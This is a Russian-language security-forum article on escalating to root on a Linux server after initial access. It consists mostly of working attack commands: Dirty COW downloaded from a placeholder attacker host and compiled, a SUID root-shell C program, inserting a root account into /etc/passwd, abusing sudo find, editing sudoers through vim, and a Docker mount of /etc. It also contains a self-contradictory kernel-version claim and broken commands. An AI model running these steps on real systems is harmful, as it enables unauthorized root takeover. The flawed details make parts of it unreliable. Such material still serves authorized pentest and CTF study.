Статья - Повышение привелегий в Linux | Форум информационной безопасности

Введение

Всем привет, рано или поздно наступ тот день, когда вы соберёте свой первый пэйлоад и попадёте на Linux-сервер, но зачастую вы попадаете туда как обычный пользователь с ограниченными правами. А для полной компрометации сервера вам необходим пароль от root. Доступ с правами root позволит вам управлять системой так, как вы хотите, и, вероятно, откроет вам путь к другому хосту. Мы много чего рассмотрим сегодня, поэтому предлагаю не медлить и перейти к основе.

Введение в эксплойты ядра и ошибки в конфигурации

Повышение привелегий в ОС Linux можно достичь такими вариантами:

- эксплуатация уязвимости ядра;
- используя ошибки в конфигурации системы;

Эксплойты ядра

Ядро - это сердце системы Linux и работает с привилегиями root. Недостаток, который помогает взаимодействовать с ядром, позволит пользователю работать в режиме root. Что нужно сделать?

1. Определить версию ядра;
2. Найти эксплойт, соответствующий версии ядра;
3. Перенести эксплойт на уязвимый хост;
4. Найти способ заставять уязвимый сервер выполнить наш payload;

Эксплойты ядра: Dirty Cow

Dirty Cow - Функция копирования при записи для страниц памяти, отмеченных только для чтения. В нормальной ситуации механизм COW считывает файл в памяти и таким образом создаёт его копию в памяти. Затем он запишет данные в файл в памяти (не трогая исходную копию). Создатели этого эксплойта пытались создать тысячи итераций, в которых в определённый момент ядро перезапишет исходный файл. Такое поведение даст злоумышленнику возможность перезаписать нужный файл. Распространённой атакой является перезапись файла shadow/passwd пользователя. Этот эксплойт работает на всех ядрах до версии 3.9. Из-за характера выполнения такого эксплойта целевая система может упасть, поэтому будьте осторожны. Давайте представим что мы проникли на машину под пользователем delifer, а нам нужен root.

Узнаём кто мы:
`id`
Юзер delifer имеет ограниченные права. Попробуем прочитать файл /etc/shadow
`cat /etc/shadow`
Не сможем, оно и не удивительно. Теперь гуглим версию ядра:
`uname -a`
Допустим что система сказала что версия ядра = 3.13.0, поскольку она ниже чем 3.9, следовательно к ней применим эксплойт Dirty COW. Пишем в браузере dirty cow exploit и увидим первую ссылку на
Ссылка скрыта от гостей

. Скачиваем данный код на свою тачку kali и теперь самое проблематичное закинуть скрипт на наш уязвимый сервер, для этого используем python:
`python3 -m SinpleHTTPServer 8888`
Далее на уязвимом сервере (SSH) и делаем следущее:

- изменяем рабочий каталог на `/tmp` (у нас там прав больше)
- используем wget, дабы скачать эксплойт (`wget http://YOUR_IP:8888/kali/Desktop/40839.c`)
- компилируем код на C (`gcc -pthread 40839.c -o dirty -lcrypt`)
- запускаем так, как написано на сайте exploitdb (`chmod +x dirty ./dirty`)
- закидываем passwd.bak в /etc/passwd (`mv /tmp/passwd.bak /etc/passwd`)
- переключаемся на вновь созданного юзера firefart `su firefart`

Проверяем и видим пользователя firefart в группе root!
Но зачастую системные администраторы обновляют ядра, поэтому этот случай не так уж и частый будет. Однако далеко не все обновляют...

Исопльзование SUID
Эксплойт с установленным идентификатором пользователя есть слабое место, позволяющее пользователям выполнять некоторые действия с правами другого пользователя. Для того, чтобы найти такие файлы, используем команду find:
`find / -perm -u=s -type f 2>/dev/null`
Допустим мы нашли файл exploit(Созданный для примера). Остальные файлы как правило системные и в них нет смысла. Теперь воспользуемся ls, чтобы увидеть права доступа к файлу exploit:
`ls -l`
Ну, допустим мы увидили следующую картину `-rwsr-xr-x`
Мы видим буковку "s", это произошло потому что root уже выполнил одну из следующих команд для этого файла.
`chmod u+s exploit`
`chmod 4755 exploit`
Сейчас, всё что нам нужно, это запустить этот скрипт:
`./exploit`
и мы получили группу root. В CTF играх у вас скорее будет bash сценарий, в котором вы должны будете написать примерно такой сценарий на C.

C:

```
#inlclude <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
    setresuid(0,0,0);
    system("/bin/bash");
    return 0;
}
```

Пользователь root создал этот файл на уязвимом хосте. А ещё, когда мы его исполняем с низкими привелегиями, скомпилированый код вызывает системную функцию и загружает окно bash с привелегиями root. Не забудьте его скомпилировать:
`gcc exploit.c -o exploit`
Если вам необходим 32-битный скомпилированный испольняемый файл, то не забудьте про флаг -m32. Если что то запустить 64-битный скрипт не возможно в 32-битной системе.
`gcc -m32 exploit.c -o exploit`

Переопределение файла PASSWD
Существует несколько подходов к поиску способа записи в файл /etc/passwd. Если у вас есть права на запись в этот файл, то вы можете создать учётку root, которую можете использовать для входа в систему. Основные методики описаны в след. сценариях:

- проверка, есть ли у текущего пользователя права на запись в этот файл;
- проверка, установлен ли SUID для команды cp;
- проврка, установлен ли SUID для текстовых редакторов Vim и Nano;

В первом пункте нам нужно просто сгенерировать пользвателя root и добавить его в файл. Используем команду с openssl:

`openssl passwd -1 -salt delifer rebe`
Далее добавляем вывод команды openssl в файл passwd:
`echo "delifer:$1$delifer$[...]1:0:0:root:/root:/bin/bash" >> /etc/passwd`
Во втором случае если команде cp был установлен бит SUID. В таком случае создаём новый файл passwd, а затем копируем всех пользоваотелей из настоящего passwd, добваляем себя, потом просто копируем его в /etc/passwd.

```
cp /etc/passwd /tmp
cd /tmp
cat passwd (копируем содержимое)
```
Код:

```
rm passwd
touch passwd
```

```
echo "[ВСТАВЛЯЕМ_ЮЗЕРОВ_И_СЕБЯ(root)]" >> passwd
cp passwd /etc/passwd
```

В третьем случае, когда SUID установлен, на vim. Этот флажок позволит нам использовать, либо nano, либо vim.

Файл конфигурации sudoers
Команда sudo была представлена в Unix системах для разделения привелегий. Пользователь может использовать sudo для выполнения команд с высоким уровнем привелегий. Это вы знаете. Суперпользователь может добавлять пользователей с низким уровнем привелегий в sudoers, создав новую учётку:
`sudo usermod -aG sudo delifer`
Сис.администратор может изменить файл конфигурации sudoers.
Повышение привелегий через sudo
Есть разные способы получения больших прав и выоплнения высокопривилегированной команды. Нам нужно найти слабые еста в функциональности каждый системы и попытаться использовать их. Попробуем следующее:

- посмотрим, установлен ли SUID в текстовом редакторе;
- перечислим разрешения sudo и найдём все программы, которые можно выполнить с имеющимися правами;
- Попробуем выполнить sudo без пароля;

Использование команды поиска
Пишем следующее:
`sudo -l`
(root) /usr/bin/find
Пользователь delifer имеет возможность выполнять команду find с правами root. Отлично, используем следующую команду:
`sudo find / -exec sh -i \;`
и мы получаем оболочку с правами root. **Редактирование файла sudoers**
Запомните! Любой текстовый редактор с установленным битом SUID позволит редактировать файлы конфигурации.
Сначала найдём файлы с SUID в нашей текущей ограниченной командной оболочке:
`find / -perm -u=s -type f 2>/dev/null`
Допустим, что в результах указана программа vim. Используем её для редактирования файла sudoers:
`vim /etc/sudoers`
Когда файл откроется, я добавлю пользователю delifer права root.
`delifer ALL=(ALL) NOPASSWD: ALL`
Дабы убедиться, что всё прошло успешно, выходим из сеанса SSH от delifer и заходим опять. запускаем sh с sudo. Баш должен выдать оболочку не спрашивая пароль.
`sudo sh -i`

Эксплуатация запущенных сервисов

Некоторые сервисы, которые есть на сервере linux, будут работать работать с правами root. Это очень плохо, так как злоумышленник может воспользоваться этим поведением и получить доступ к командной оболочке с правами root. Отличными демонам являются Docker, Apache, MySQL. Сначала найдём Docker:

```
ps aux | grep Docker
```

Выполним ту же атаку, манипулируя файлом конфигурации. Запускаем новый контейнер на образе Alpine:

```
docker run -itd -v /etc/:/mnt/ alpine
docker ps
```

Мы смонтировали /etc/ в /mnt/ в контенере docker. Теперь редактируем файл sudoers:

```
docker exec -it [ID] /bin/sh
cd mnt/
echo "delifer ALL=(ALL) NOPASSWD: ALL" >> sudoers
exit
```

Проверяем такой командой:

```
sudo sh -i
```

Автоматизированные скрипты

Вы должны понимать как получить root-доступ с помощью ограничной командой оболочки. Все команды обсуждаемые в этой статье, можно автоматизировать, дабы проверить, уязвима ли тачка. Вот список автоматизированных сценариев которые можно использовать во время пентеста:

- LinEnum
- LinuxPrivChecker
- LinuxExploitSuggester
- LinPEAS

Заключение

Есть множество способов получить суперпользователя или его права, всё зависит от среды в которой вы находитесь, стоит много изучать, дабы найти лазейку в конфигурации системы. Спасибо за прочтение!